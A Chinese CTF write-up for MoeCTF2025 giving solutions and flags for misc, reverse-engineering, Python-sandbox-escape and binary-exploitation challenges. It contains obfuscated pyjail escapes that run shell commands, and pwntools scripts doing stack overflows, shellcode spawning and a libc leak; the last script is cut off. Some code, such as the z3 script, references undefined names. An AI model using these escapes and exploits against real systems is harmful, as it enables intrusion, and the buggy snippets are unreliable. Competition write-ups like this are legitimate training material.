MoeCTF2025 WriteUP by 并非(Rank9)#

Misc入门指北#

进pdf搜moectf{即可 moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}

Rush#

gif分帧，拿到残缺的二维码，左上角右下角补齐定位角，随后直接识别即可 moectf{QR_C0d3s_feATUR3_eRror_c0RRECt10N}

ez_LSB#

stegsolve打开，red=0，拿到flag的base64密文 moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}

ez_锟斤拷????#

先找个在线工具把乱码转到utf8

ｍｏｅｃｔｆ｛ＥｎＣ０ｄ１ｉｎｇ＿ｇｂＫ＿＠ｎＤ＿Ｕｔｆ＿８＿１ｓ＿４ｕｎ！！ｅｗｗｗｗ｝恭喜你得到弗拉格后面全是锟斤拷锟斤拷锟斤拷

全角转半角 moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}

weird_photo#

提示说注意CRC，直接宽高爆破即可 moectf{Image_Height_Restored}

SSTV#

直接找一个sstv播放器 moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}

encrypted_pdf#

先爆破pdf，密码qwe123 进去后全选复制，查看复制的内容即可拿到flag moectf{Pdf_1s_r3a1ly_c0lor4ul!!ihdw}

捂住一只耳#

两个声道，一个正常声道一个摩斯密码

..-. .-.. .- --. .. ... ---... .... .- .-.. ..-. ..--.- .-. .- -.. .. --- ..--.- .. -. ..--.- -..- -.. ..-

FLAGIS:HALF_RADIO_IN_XDU

最后得到

moectf{HALF_RADIO_IN_XDU}

Enchantment#

先从流量包提取出来png，然后打开看到附魔台图片 上网搜我的世界附魔台文字对照表即可 moectf{now_you_have_mastered_enchanting}

WebRepo#

二维码识别，得到提示Flag is not here, but I can give you a hint: Use binwalk. binwalk直接分离得到一个压缩包，解压拿到/.git/ 最后git show 249ff41拿到flag moectf{B1NwA1K_ANd_g1t_R3seT-MaG1C}

ez_ssl#

打开流量包，过滤http请求，拿到ssl.log 配置后提取到flag.zip，根据提示爆破到密码6921682 解压后，txt中内容是一堆ook，直接ook解码 moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}

ez_png#

注意到IDAT16大小不正常，提取hex并用zlib解压

import zlib; print(zlib.decompress(bytes.fromhex("78 9C CB CD 4F 4D 2E 49 AB CE 30 74 49 71 CD 8B 0F 30 89 CC F1 4F
74 89 F7 F4 D3 F5 4C 31 09 A9 05 00 A8 D0 0A 5F".replace(" ", "")))) 

moectf{h1DdEn_P4YlOaD_IN-Id4T}

Pyjail 0#

读环境变量/proc/self/environ即可

Pyjail 1#

getattr(getattr(getattr(next(filter(lambda x: getattr(x, (lambda c:c(95)*2+c(110)+c(97)+c(109)+c(101)+c(95)*2)(chr)) == (lambda c:c(95)+c(119)+c(114)+c(97)+c(112)+c(95)+c(99)+c(108)+c(111)+c(115)+c(101))(chr), getattr(getattr(getattr((), (lambda c:c(95)*2+c(99)+c(108)+c(97)+c(115)+c(115)+c(95)*2)(chr)), (lambda c:c(95)*2+c(98)+c(97)+c(115)+c(101)+c(95)*2)(chr)), (lambda c:c(95)*2+c(115)+c(117)+c(98)+c(99)+c(108)+c(97)+c(115)+c(115)+c(101)+c(115)+c(95)*2)(chr))())), (lambda c:c(95)*2+c(105)+c(110)+c(105)+c(116)+c(95)*2)(chr)), (lambda c:c(95)*2+c(103)+c(108)+c(111)+c(98)+c(97)+c(108)+c(115)+c(95)*2)(chr)), (lambda c:c(103)+c(101)+c(116))(chr))((lambda c:c(115)+c(121)+c(115)+c(116)+c(101)+c(109))(chr))((lambda c:c(99)+c(97)+c(116)+c(32)+c(47)+c(116)+c(109)+c(112)+c(47)+c(102)+c(108)+c(97)+c(103)+c(46)+c(116)+c(120)+c(116))(chr))

Pyjail 2#

getattr(getattr(getattr(next(filter(lambda x: getattr(x, (lambda c:c(95)*2+c(110)+c(97)+c(109)+c(101)+c(95)*2)(chr)) == (lambda c:c(95)+c(119)+c(114)+c(97)+c(112)+c(95)+c(99)+c(108)+c(111)+c(115)+c(101))(chr), getattr(getattr(getattr((), (lambda c:c(95)*2+c(99)+c(108)+c(97)+c(115)+c(115)+c(95)*2)(chr)), (lambda c:c(95)*2+c(98)+c(97)+c(115)+c(101)+c(95)*2)(chr)), (lambda c:c(95)*2+c(115)+c(117)+c(98)+c(99)+c(108)+c(97)+c(115)+c(115)+c(101)+c(115)+c(95)*2)(chr))())), (lambda c:c(95)*2+c(105)+c(110)+c(105)+c(116)+c(95)*2)(chr)), (lambda c:c(95)*2+c(103)+c(108)+c(111)+c(98)+c(97)+c(108)+c(115)+c(95)*2)(chr)), (lambda c:c(103)+c(101)+c(116))(chr))((lambda c:c(115)+c(121)+c(115)+c(116)+c(101)+c(109))(chr))((lambda c:c(99)+c(97)+c(116)+c(32)+c(47)+c(116)+c(109)+c(112)+c(47)+c(102)+c(108)+c(97)+c(103)+c(46)+c(116)+c(120)+c(116))(chr))

Pyjail 3#

((lipsum for lipsum in ().__class__.__mro__[-1].__subclasses__() if lipsum.__name__ == "_wrap_close").__next__().__init__.__globals__)['system']('cat /tmp/flag.txt')

Pyjail 4#

match-case 栈帧逃逸

try:
    raise Exception
except Exception as e:
    cf = e.__traceback__.tb_frame.f_back
    b = cf.f_builtins
    print(b['open']('/tmp/flag.txt').read())

编码为base64后传入

dHJ5OgogICAgcmFpc2UgRXhjZXB0aW9uCmV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgIGNmID0gZS5fX3RyYWNlYmFja19fLnRiX2ZyYW1lLmZfYmFjawogICAgYiA9IGNmLmZfYnVpbHRpbnMKICAgIHByaW50KGJbJ29wZW4nXSgnL3RtcC9mbGFnLnR4dCcpLnJlYWQoKSk=

Pyjail 5#

用1/0抛异常match绑Exception和tb以及模块属性用uga或者字典下标对象属性用getattr_fn绕ast.attribute，从builtins.class match绑定getattribute当模块属性访问器，同时从builtins取getattr当通用对象属性访问

try:
    1/0
except Exception as e:
    match e:
        case Exception(__traceback__=tb):
            pass
    match tb:
        case object(tb_frame=fr):
            pass
cur = fr
b = None
uga = None
getattr_fn = None
io = None
while cur is not None:
    match cur:
        case object(f_back=prev, f_globals=gl):
            pass
    try:
        b_candidate = gl["__builtins__"]
        match b_candidate:
            case object(__class__=tp):
                pass
        match tp:
            case object(__getattribute__=uga_candidate):
                pass
        try:
            imp = uga_candidate(b_candidate, "__import__")
        except Exception:
            imp = b_candidate["__import__"]
        try:
            getattr_fn_candidate = uga_candidate(b_candidate, "getattr")
        except Exception:
            getattr_fn_candidate = b_candidate["getattr"]
        io_candidate = imp("io")
        b = b_candidate
        uga = uga_candidate
        getattr_fn = getattr_fn_candidate
        io = io_candidate
        break
    except Exception:
        cur = prev
open_fn = getattr_fn(io, "open")
f = open_fn("/tmp/flag.txt", "r")
read_fn = getattr_fn(f, "read")
try:
    print_fn = uga(b, "print")
except Exception:
    print_fn = b["print"]
print_fn(read_fn())

依旧编码为base64传入

dHJ5OgogICAgMS8wCmV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgIG1hdGNoIGU6CiAgICAgICAgY2FzZSBFeGNlcHRpb24oX190cmFjZWJhY2tfXz10Yik6CiAgICAgICAgICAgIHBhc3MKICAgIG1hdGNoIHRiOgogICAgICAgIGNhc2Ugb2JqZWN0KHRiX2ZyYW1lPWZyKToKICAgICAgICAgICAgcGFzcwpjdXIgPSBmcgpiID0gTm9uZQp1Z2EgPSBOb25lCmdldGF0dHJfZm4gPSBOb25lCmlvID0gTm9uZQp3aGlsZSBjdXIgaXMgbm90IE5vbmU6CiAgICBtYXRjaCBjdXI6CiAgICAgICAgY2FzZSBvYmplY3QoZl9iYWNrPXByZXYsIGZfZ2xvYmFscz1nbCk6CiAgICAgICAgICAgIHBhc3MKICAgIHRyeToKICAgICAgICBiX2NhbmRpZGF0ZSA9IGdsWyJfX2J1aWx0aW5zX18iXQogICAgICAgIG1hdGNoIGJfY2FuZGlkYXRlOgogICAgICAgICAgICBjYXNlIG9iamVjdChfX2NsYXNzX189dHApOgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgIG1hdGNoIHRwOgogICAgICAgICAgICBjYXNlIG9iamVjdChfX2dldGF0dHJpYnV0ZV9fPXVnYV9jYW5kaWRhdGUpOgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wID0gdWdhX2NhbmRpZGF0ZShiX2NhbmRpZGF0ZSwgIl9faW1wb3J0X18iKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIGltcCA9IGJfY2FuZGlkYXRlWyJfX2ltcG9ydF9fIl0KICAgICAgICB0cnk6CiAgICAgICAgICAgIGdldGF0dHJfZm5fY2FuZGlkYXRlID0gdWdhX2NhbmRpZGF0ZShiX2NhbmRpZGF0ZSwgImdldGF0dHIiKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIGdldGF0dHJfZm5fY2FuZGlkYXRlID0gYl9jYW5kaWRhdGVbImdldGF0dHIiXQogICAgICAgIGlvX2NhbmRpZGF0ZSA9IGltcCgiaW8iKQogICAgICAgIGIgPSBiX2NhbmRpZGF0ZQogICAgICAgIHVnYSA9IHVnYV9jYW5kaWRhdGUKICAgICAgICBnZXRhdHRyX2ZuID0gZ2V0YXR0cl9mbl9jYW5kaWRhdGUKICAgICAgICBpbyA9IGlvX2NhbmRpZGF0ZQogICAgICAgIGJyZWFrCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIGN1ciA9IHByZXYKb3Blbl9mbiA9IGdldGF0dHJfZm4oaW8sICJvcGVuIikKZiA9IG9wZW5fZm4oIi90bXAvZmxhZy50eHQiLCAiciIpCnJlYWRfZm4gPSBnZXRhdHRyX2ZuKGYsICJyZWFkIikKdHJ5OgogICAgcHJpbnRfZm4gPSB1Z2EoYiwgInByaW50IikKZXhjZXB0IEV4Y2VwdGlvbjoKICAgIHByaW50X2ZuID0gYlsicHJpbnQiXQpwcmludF9mbihyZWFkX2ZuKCkp

2048_master_re#

跟进byte_47F0C0拿到密文，xor 0x2a moectf{Y0u_4re_a_2048_m4st3r!!!!r0erowhu}

万里挑一#

写个exp把密码整理出来

import re
import os

def extract_passwords_from_zip(zip_file_path, output_file):
    """
    从zip文件的二进制内容中直接提取所有密码
    
    Args:
        zip_file_path: zip文件路径
        output_file: 输出密码字典文件路径
    """
    print(f"正在从 {zip_file_path} 中提取密码...")
    
    try:
        # 以二进制模式读取zip文件
        with open(zip_file_path, 'rb') as f:
            zip_content = f.read()
        
        # 将二进制内容转换为字符串进行搜索
        # 使用errors='ignore'忽略无法解码的字符
        text_content = zip_content.decode('latin-1', errors='ignore')
        
        # 使用正则表达式查找所有"The password is:"后面的密码
        # 密码看起来是16进制字符串，长度可能是16-20个字符
        pattern = r'The password is:([0-9a-f]{16,20})'
        passwords = re.findall(pattern, text_content, re.IGNORECASE)
        
        # 去重
        unique_passwords = list(set(passwords))
        
        print(f"找到 {len(unique_passwords)} 个唯一密码")
        
        # 将密码写入输出文件
        with open(output_file, 'w', encoding='utf-8') as f:
            for password in unique_passwords:
                f.write(password + '\n')
        
        print(f"密码已保存到: {output_file}")
        
        # 显示前几个密码作为示例
        if unique_passwords:
            print("\n前10个密码示例:")
            for i, pwd in enumerate(unique_passwords[:10]):
                print(f"  {i+1}. {pwd}")
                
    except Exception as e:
        print(f"处理文件时出错: {str(e)}")

def main():
    # 脚本配置
    script_dir = os.path.dirname(os.path.abspath(__file__))
    zip_file = os.path.join(script_dir, "password.zip")
    output_file = os.path.join(script_dir, "1.txt")
    
    print("=== ZIP文件密码提取脚本 ===")
    print(f"输入文件: {zip_file}")
    print(f"输出文件: {output_file}")
    print("=" * 40)
    
    # 检查输入文件是否存在
    if not os.path.exists(zip_file):
        print(f"错误: 找不到文件 {zip_file}")
        return
    
    # 提取密码
    extract_passwords_from_zip(zip_file, output_file)

if __name__ == "__main__":
    main()

拿字典爆破，得到一个flag.zip 里面一个明文.exe，注意到所有exe明文开头都是This program cannot be run in DOS mode，已知明文爆破即可 moectf{Y0u_h4v3_cho5en_7h3_r1ght_z1pf1le!!uysdgfsad}

逆向工程入门指北#

直接搜字符串就行 moectf{open_your_IDA_and_start_reverse_engineering!!}

speed#

在窗口销毁之前打断点即可,我选择在sleep(1u)断点 moectf{Just_dyn@mic_d3bugg1ng}

base#

常规base64，解开就是了 moectf{Y0u_C4n_G00d_At_B45e64!!}

catch#

跟进solve得到

void __noreturn solve(void)
{
  std::logic_error *exception; // rbx

  printf("my flag is hidden in this program. Can you find it?\n");
  sub_114514();
  exception = (std::logic_error *)_cxa_allocate_exception(0x10u);
  std::logic_error::logic_error(exception, "nothing but error");
  _cxa_throw(exception, (struct type_info *)&`typeinfo for'std::logic_error, refptr__ZNSt11logic_errorD1Ev);
}

跟进sub_114514()

__int64 sub_114514(void)
{
  __int64 result; // rax
  int v1; // [rsp+28h] [rbp-8h]
  unsigned int i; // [rsp+2Ch] [rbp-4h]

  printf("try to catch me\n");
  v1 = strlen(flag);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (int)i >= v1 )
      break;
    flag[i] = enc(flag[i]);
  }
  return result;
}

跟进enc和flag

.data:0000000140027000 flag            db 'geoi~lq~bcyUcyUkUlkaoUlfkmw',0
==========================================
__int64 __fastcall enc(char a1)
{
  return (unsigned int)(a1 ^ 0x11);
}

明显的一个xor，但是并不能解出flag shift+f12看字符串，注意到：

.data:0000000140027120 _ZZ5solvevE8hidesuwa db 'zbrpgs{F4z3_Ge1px_jvgu_@sybjre_qrfhjn}',0

由于flag开头moectf{，一眼rot13，直接cyberchef一把梭 moectf{S4m3_Tr1ck_with_@flower_desuwa}

upx#

upx-d一把梭

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  __int64 v4; // rcx
  __int64 v5; // rax
  int v6; // r9d
  __int64 v7; // r8
  char v8; // dl
  _OWORD v10[8]; // [rsp+20h] [rbp-148h]
  int v11; // [rsp+A0h] [rbp-C8h]
  int v12; // [rsp+A4h] [rbp-C4h]
  int v13; // [rsp+A8h] [rbp-C0h]
  char v14[48]; // [rsp+B0h] [rbp-B8h]
  char Buffer[112]; // [rsp+E0h] [rbp-88h] BYREF

  v10[0] = _mm_load_si128((const __m128i *)&xmmword_1400032E0);
  v10[1] = _mm_load_si128((const __m128i *)&xmmword_140003310);
  v10[2] = _mm_load_si128((const __m128i *)&xmmword_140003320);
  v10[3] = _mm_load_si128((const __m128i *)&xmmword_1400032F0);
  v10[4] = _mm_load_si128((const __m128i *)&xmmword_1400032D0);
  v10[5] = _mm_load_si128((const __m128i *)&xmmword_1400032B0);
  v10[6] = _mm_load_si128((const __m128i *)&xmmword_140003300);
  v10[7] = _mm_load_si128((const __m128i *)&xmmword_1400032C0);
  v11 = 41;
  v12 = 36;
  v13 = 86;
  sub_140001010("please input your flag: ");
  v3 = _acrt_iob_func(0);
  fgets(Buffer, 100, v3);
  v4 = -1;
  do
    ++v4;
  while ( Buffer[v4] );
  v5 = 0;
  v6 = 0;
  if ( (int)v4 > 0 )
  {
    v7 = 0;
    do
    {
      v8 = Buffer[v7] ^ 0x21;
      if ( v6 < (int)v4 - 1 )
        v8 ^= Buffer[v7 + 1];
      v14[v7] = v8;
      ++v6;
      ++v7;
    }
    while ( v7 < (int)v4 );
  }
  while ( v14[v5] == *((_DWORD *)v10 + v5) )
  {
    if ( ++v5 >= 35 )
      return 0;
  }
  sub_140001010("you will never get the flag!!!!\n");
  return 0;
}

对于密文，跟进v10那几个，一个一个提取就行，最后完整密文是v10+v11+v12+v13

enc=[35, 43, 39, 54, 51, 60, 3, 72, 100, 11, 29, 118, 123, 16, 11, 58, 63, 101, 118, 41, 21, 55, 28, 10, 8, 33, 62, 60, 61, 22, 11, 36, 41, 36, 86,43]
enc.reverse()
for i,j in enumerate(enc,0):
    if i==0:
        enc[i]=j^0x21
    else:
        enc[i]=j^enc[i-1]^0x21
enc.reverse()
for i in enc:
    print(chr(i),end='')

ez3#

该题多解，这里仅给出正确解

from z3 import *
a = [0xB1B0,0x5678,0x7FF2,0xA332,0xA0E8,0x364C,0x2BD4,0xC8FE,0x4A7C,0x18,0x2BE4,0x4144,0x3BA6,0xBE8C,0x8F7E,0x35F8,0x61AA,0x2B4A,0x6828,0xB39E,0xB542,0x33EC,0xC7D8,0x448C,0x9310,0x8808,0xADD4,0x3CC2,0x796,0xC940,0x4E32,0x4E2E,0x924A,0x5B5C]
f = [BitVec(f'flag_{i}', 32) for i in range(34)]
b = [BitVec(f'b{i}', 32) for i in range(34)]
s = Solver()

for i in range(34):
    s.add(flag_chars[i] >= 32)
    s.add(flag_chars[i] < 127)
    val = 47806 * (flag_chars[i] + i)
    if i > 0:
        val = val ^ b[i-1] ^ 0x114514
    s.add(b[i] == URem(val, 51966))
    s.add(b[i] == a[i])
for i in range(34):
    flag += chr(model[f[i]].as_long())
print('moectf{' + flag + '}')

moectf{Y0u_Kn0w2z3_S0Iv3r_Nuw_a1f2bdce4a9}

ezandroid#

主函数有个base64，直接解就行 moectf{android_Reverse_I5_easy}

flower#

进main，双击solve发现无法读取伪代码 注意到0x4048ee处

.text:00000000004048EE _Z5solveNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE endp ; sp-analysis failed

只需要nop掉48e5->48e9全部内容

enc = [79, 26, 89, 31, 91, 29, 93, 111, 123, 71, 126, 68, 106, 7, 89, 103, 14, 82, 8, 99, 92, 26, 82, 31, 32, 123, 33, 119, 112, 37, 116, 43]
key = 0x23 ^ 0xa

for x in range(len(enc)):
    print(chr(key ^ enc[x]), end='')
    key += 1

moectf{f0r3v3r_JuMp_1n_7h3_a$m_a9b35c3c}

2048_master_re#

from typing import List
def xxtea_decrypt(v: List[int], n: int, key: List[int]) -> None:
    def MX(z, y, sum_, p, e):
        return (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum_ ^ y) + (key[(p & 3) ^ e] ^ z)))

    if n > 1:
        rounds = 6 + 52 // n
        sum_ = rounds * 0x3E9779B9
        y = v[0]
        while rounds > 0:
            e = (sum_ >> 2) & 3
            for p in range(n - 1, 0, -1):
                z = v[p - 1]
                v[p] = (v[p] - MX(z, y, sum_, p, e)) & 0xFFFFFFFF
                y = v[p]
            z = v[n - 1]
            v[0] = (v[0] - MX(z, y, sum_, 0, e)) & 0xFFFFFFFF
            y = v[0]
            sum_ = (sum_ - 0x3E9779B9) & 0xFFFFFFFF
            rounds -= 1
def main():
    key_bytes = b"2048master2048ma"
    key = [int.from_bytes(key_bytes[i:i+4], 'little') for i in range(0, len(key_bytes), 4)]
    encrypted = [
        0x35,0x79,0x77,0xCC,0x1B,0x13,0x41,0x34,0xF9,0xFF,0x9F,0x91,
        0xFF,0x5B,0x94,0x78,0x86,0x2A,0xAF,0xAE,0xD7,0x9E,0x31,0x4D,
        0x7A,0xC4,0xA5,0x51,0xD1,0xD9,0x6E,0x44,0x18,0x52,0x86,0x1B,
        0x42,0x8A,0xC9,0x63
    ]
    v = [int.from_bytes(encrypted[i*4:(i+1)*4], 'little') for i in range(10)]
    xxtea_decrypt(v, 10, key)
    decrypted_bytes = b''.join(x.to_bytes(4, 'little') for x in v)
    print(decrypted_bytes.decode('latin1'))
if __name__ == "__main__":
    main()

moectf{@_N1c3_cup_0f_XXL_te4_1n_2O48}

A cup of tea#

#include <stdio.h>
#include <stdlib.h>

#define DELTA 1131796
#define ROUNDS 32

typedef struct {
    unsigned int data[4];
} Key;

void tea_decrypt(unsigned int* left, unsigned int* right, Key* key) {
    unsigned int sum = ROUNDS * DELTA;
    
    for(int i = 0; i < ROUNDS; i++) {
        *right -= (key->data[3] + (*left >> 5)) ^ (sum + *left) ^ (key->data[2] + 16 * *left);
        *left -= (key->data[1] + (*right >> 5)) ^ (sum + *right) ^ (key->data[0] + 16 * *right);
        sum -= DELTA;
    }
}

int main(void) {
    Key key = {{289739801, 427884820, 1363251608, 269567252}};
    unsigned int ciphertext[10] = {2026214571, 578894681, 1193947460, 4065661066,
                                   73202484, 961145356, 3413510504, 358205817,
                                   3740897949, 119347883};
    
    for(int i = 0; i < 10; i += 2) {
        unsigned int left = ciphertext[i];
        unsigned int right = ciphertext[i+1];
        tea_decrypt(&left, &right, &key);
        
        for(int j = 0; j < 4; j++) {
            printf("%c", (left >> (8*j)) & 0xFF);
        }
        for(int j = 0; j < 4; j++) {
            printf("%c", (right >> (8*j)) & 0xFF);
        }
    }
    
    return 0;
}

moectf{h3r3_4_cuP_0f_734_f0R_y0U!!!!!!}

ezpy#

pyc转py，凯撒位移10 moectf{Y0u_Kn0W_pyc]

have_fun#

enc=[71,0,69,0,79,0,73,0,94,0,76,0,81,0,98,0, 106,0,92,0,30,0, 117,0,76,0, 127,0,68,0,87]
e=list(filter(int,enc))
for i in e:
    print(chr(i^0x2A),end='')

moectf{H@v4_fUn}

mazegame#

提取地图

11111111111111111111111111111111111111111111111111111111
10100000000000000010000011011101011111111101011100000111
10111010111111111010111011000001000001000001000101110111
10000010000010000010001011011111111101110111011101110111
10111111111011101110111011010000000000010100010001110111
10100000001000101000100011010101111111011101110101110111
10101011111110111011101011010101000001000000010101110111
10101010000010100000101011110101110101111101111111110111
10111010111010101111101011100101000100000101000101110111
10000010001010001000001011001111011111010101011101110111
11111011101011111011111111101000100000101100101001110111
10001010001000100010000010001010011000100010010011000001
10111010111110101010111011011001011111010101011101011101
10001010001000001010001011000101000100000101000101011101
11101011101111111011101011110101110111111101110101011101
10001000101000001010001011000100010100000101000101011101
10111111101011101110111011011111110101110111011101011101
10001000001000100000001011000100000100010000000101011001
11101011111011111111101011110101111101111111110101011011
10101000000010001000101011010100000001000100010101011011
10101111111110101010101011010111111111010101010101011011
10100000000000100010101011010000000000010001010101011011
10111111111111111110111011011111111111111111011101011011
10000000001111000000000011110111010000111100011111011011
11101111100000011011011111111010110111011101100001011011
11101111111111111011011111111101110111101101100001011011
10001000111111000010000011111010110111011101100001011011
10111010111111111010111011110111010000111101100001010011
10000010000010000010001011111111111111111101100001010111
10111111111011101110111011110001000110001101100001010001
10100000001000101000100011110111011101111101100001011101
10101011111110111011101011110001000101111101100001011101
10101010000010100000101011111101011101111101100001011101
10111010111010101111101011110001000110001101100001011101
10000010001010101000001011111111111111111101100001011101
11111011101011111011111110000000000000001101100001011101
10001010001000100010000011111111111111111100110011011101
10111010111110101010111010010000000011111110001111011101
10001010001000001010001010110111000001111110100101011101
11101011101111111011101000110011001111111100110111011101
10001000101000001010001011111111111111111111110111010001
10111111101011101110111010100001001100000000000011011011
10001000001000100000001011111111111101011101111001011011
10101011111011111111101011000000000001000100010111011011
10101000000010001000101010010111111111111111111111011011
10101111111110101010101010110111111111111111111101011011
10100000000000100010101011100000000000000000000011011011
10111111111111111110011011111111111111111111111011011011
10000011111111111111000010000000000000000000000000011001
11111011111111111111111111111111111111111111111111111101
11111011100001100110110111000000000000000000000111111101
11111011101111011010000111011111111111111111110111111101
11111011100001000010110110000111111111111111110000000001
11111011101111011010110111101111111111111111111111111111
11110000000000011000110000000000000000000000000000000011

Maze Solver一把梭 moectf{ssddddwwddssddddssddssssddwwddwwddwwwwddddssssaassssaaaassaassaawwaawwwwaaaassddssaassddssssaaaassddddddwwwwddddssddddwwddwwaawwddddssssssssssssaaasssdddssssaassssaaaassaassaawwaawwwwaaaassddssaassddssssaaaassddddddwwwwddddssddddwwddwwaawwddddssssssssssssaaawawwwaassaawwaassaaaaaaaaaawwwwaassssssddddssssssdddddddddwwdddssddwwwdddsssdddddwwawwddddddddddddddddddddssddddddddwwwwawwwwwwwwdwwwwwwwwwwwaawwdwwwwwwwwwwdwwwwwwaaaasssssssssssssssssssssssssssssssssssssaaawwaaaaaaaaaaaaaaaaaaawwwddddddddwwddddddddddwwwawaawawwwwwwwwwwwwwddwwwwaassaawwaassaaaaaaaaaawwwwaawwddwwaawwdwwwdwwwwddddddddddssddddssssdsdssddssaassaaaawwaaaassssaaaaaawwddddwwwwaawwawaassdsssdd}

upx_revenge#

手动加上UPX!，然后再upx-d 后面就是base64变表，魔改的表是常规base64表的0xe xor moectf{Y0u_Re4l1y_G00d_4t_Upx!!!}

guess#

魔改rc4 moectf{RrRRccCc44$$_w1th_fl0w3r!!_3c6a11b5}

A simple program#

密文在0x4031A4，直接xor 0x23 moectf{Y0u_P4ssEd!!}

Two cups of tea#

key：moectf!!xV4，位置在000000FF96EFFBF0

def xxtea_decrypt(v, key):
    n = len(v)
    if n > 1:
        rounds = 6 + 52 // n
        sum_ = rounds * 0x9E3779B9
        def MX(z, y, sum_, p, e):
            return (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum_ ^ y) + (key[(p & 3) ^ e] ^ z))) & 0xFFFFFFFF

        y = v[0]
        while rounds > 0:
            e = (sum_ >> 2) & 3
            p = n - 1
            while p > 0:
                z = v[p - 1]
                v[p] = (v[p] - MX(z, y, sum_, p, e)) & 0xFFFFFFFF
                y = v[p]
                p -= 1
            z = v[n - 1]
            v[0] = (v[0] - MX(z, y, sum_, 0, e)) & 0xFFFFFFFF
            y = v[0]
            sum_ = (sum_ - 0x9E3779B9) & 0xFFFFFFFF
            rounds -= 1


if __name__ == "__main__":
    v = [
        0x5D624C34, 0x8629FEAD, 0x9D11379B, 0xFCD53211, 0x460F63CE,
        0xC5816E68, 0xFE5300AD, 0x0A0015EE, 0x9806DBBB, 0xEF4A2648
    ]
    key_bytes = [
        0x6D, 0x6F, 0x65, 0x63, 0x74, 0x66, 0x21, 0x21,
        0x78, 0x56, 0x34, 0x12, 0xF0, 0xDE, 0xBC, 0x9A
    ]
    key = []
    for i in range(0, 16, 4):
        k = key_bytes[i] | (key_bytes[i+1] << 8) | (key_bytes[i+2] << 16) | (key_bytes[i+3] << 24)
        key.append(k & 0xFFFFFFFF)
    xxtea_decrypt(v, key)
    flag_bytes = bytearray()
    for val in v:
        flag_bytes.extend(val.to_bytes(4, 'little'))

    print(flag_bytes.decode('latin1'))

moectf{X7e4_And_xx7EA_I5_BeautifuL!!!!!}

ezandroid.pro#

主函数中拿到函数Java_com_example_ezandroidpro_MainActivity_check，去so文件找Java_com_example_ezandroidpro_MainActivity_check，sm4 ecb一把梭 moectf{SM4_Android_I5_Funing!!!}

rusty_sudoku#

def solve_sudoku(board):
    def is_valid(board, row, col, num):
        for i in range(9):
            if board[row][i] == num:
                return False
        for i in range(9):
            if board[i][col] == num:
                return False
        start_row = row - row % 3
        start_col = col - col % 3
        for i in range(3):
            for j in range(3):
                if board[i + start_row][j + start_col] == num:
                    return False
        return True
    def solve():
        for i in range(9):
            for j in range(9):
                if board[i][j] == 0:
                    for num in range(1, 10):
                        if is_valid(board, i, j, num):
                            board[i][j] = num
                            if solve():
                                return True
                            board[i][j] = 0
                    return False
        return True
    
    solve()
    return board

def string_to_board(sudoku_str):
    board = []
    for i in range(9):
        row = []
        for j in range(9):
            char = sudoku_str[i*9 + j]
            if char == '.':
                row.append(0)
            else:
                row.append(int(char))
        board.append(row)
    return board

def board_to_string(board):
    result = ""
    for i in range(9):
        for j in range(9):
            result += str(board[i][j])
    return result

def print_board(board):
    for i in range(9):
        if i % 3 == 0 and i != 0:
            print("-----------")
        row_str = ""
        for j in range(9):
            if j % 3 == 0 and j != 0:
                row_str += "|"
            row_str += str(board[i][j])
        print(row_str)
if __name__ == "__main__":
    sudoku_str = ".6..8..7.18.3......7.9....1...8...15.9..4.2..54...2..9.....3948.....5..7..3....5."
    board = string_to_board(sudoku_str)
    print_board(board)
    solved_board = solve_sudoku(board)
    print_board(solved_board)
    
    answer = board_to_string(solved_board)
    print(f"{answer}")
    print(f"{len(answer)}")

解出来套个md5 moectf{a8c79927d4e830c3fe52e79f410216a0}

0 二进制漏洞审计入门指北#

from pwn import *                                    # 导入 pwntools。
context(arch='amd64', os='linux', log_level='debug') # 一些基本的配置。

# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。

# io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect(ip, port)              # 与在线环境交互。
io.sendline(b'114511')              # 什么时候用 send 什么时候用 sendline？

payload  = p32(0xdeadbeef)          # p32(0xdeadbeef)、b"\xde\xad\xbe\xef"、b"deadbeef" 有什么区别？
                                    # 你看懂原程序这里的检查逻辑了吗？
payload += b'shuijiangui'           # strcmp

io.sendafter(b'password.', payload) # 发送！通过所有的检查。

io.interactive()                    # 手动接收 flag。

1 ez_u64#

from pwn import *

sh = remote('127.0.0.1',55745)

sh.recvuntil('hint.')
payload = u64(sh.recv(8))
success(hex(payload))
sh.sendlineafter('>',str(payload))

sh.interactive()

1 find it#

/flag
1

2 EZtext#

from pwn import *

sh = remote('127.0.0.1', 57566)

back_door = 0x4011B6
sh.sendlineafter('Then how many bytes do you need to overflow the stack?',str(0x30))
ret_addr = 0x40101a
payload = cyclic(0x8) + p64(0xdeadbeef) + p64(ret_addr) + p64(back_door)
sh.send(payload)
sh.interactive()

2 ezshellcode#

from pwn import *
context(arch='amd64', os='linux',log_level='debug')

sh = remote('127.0.0.1', 63370)
shellcode = asm(shellcraft.sh())
sh.sendlineafter('I will give you some choices. Choose wisely!',str(4))
sh.sendlineafter('think about the permissions you just set.',shellcode)
sh.interactive()

3 认识libc#

from pwn import *
context(arch='amd64', os='linux',log_level='debug')

sh = remote('127.0.0.1', 65137)
libc = ELF('./libc.so.6')

sh.recvuntil('A gift of forbidden knowledge, the location of \'printf\': ')
leak = int(sh.recv(14),16)
success(hex(leak))
libc.address = leak - libc.symbols['printf']
pop_rdi = libc.address + 0x2a3e5
ret = libc.address + 0xf4159
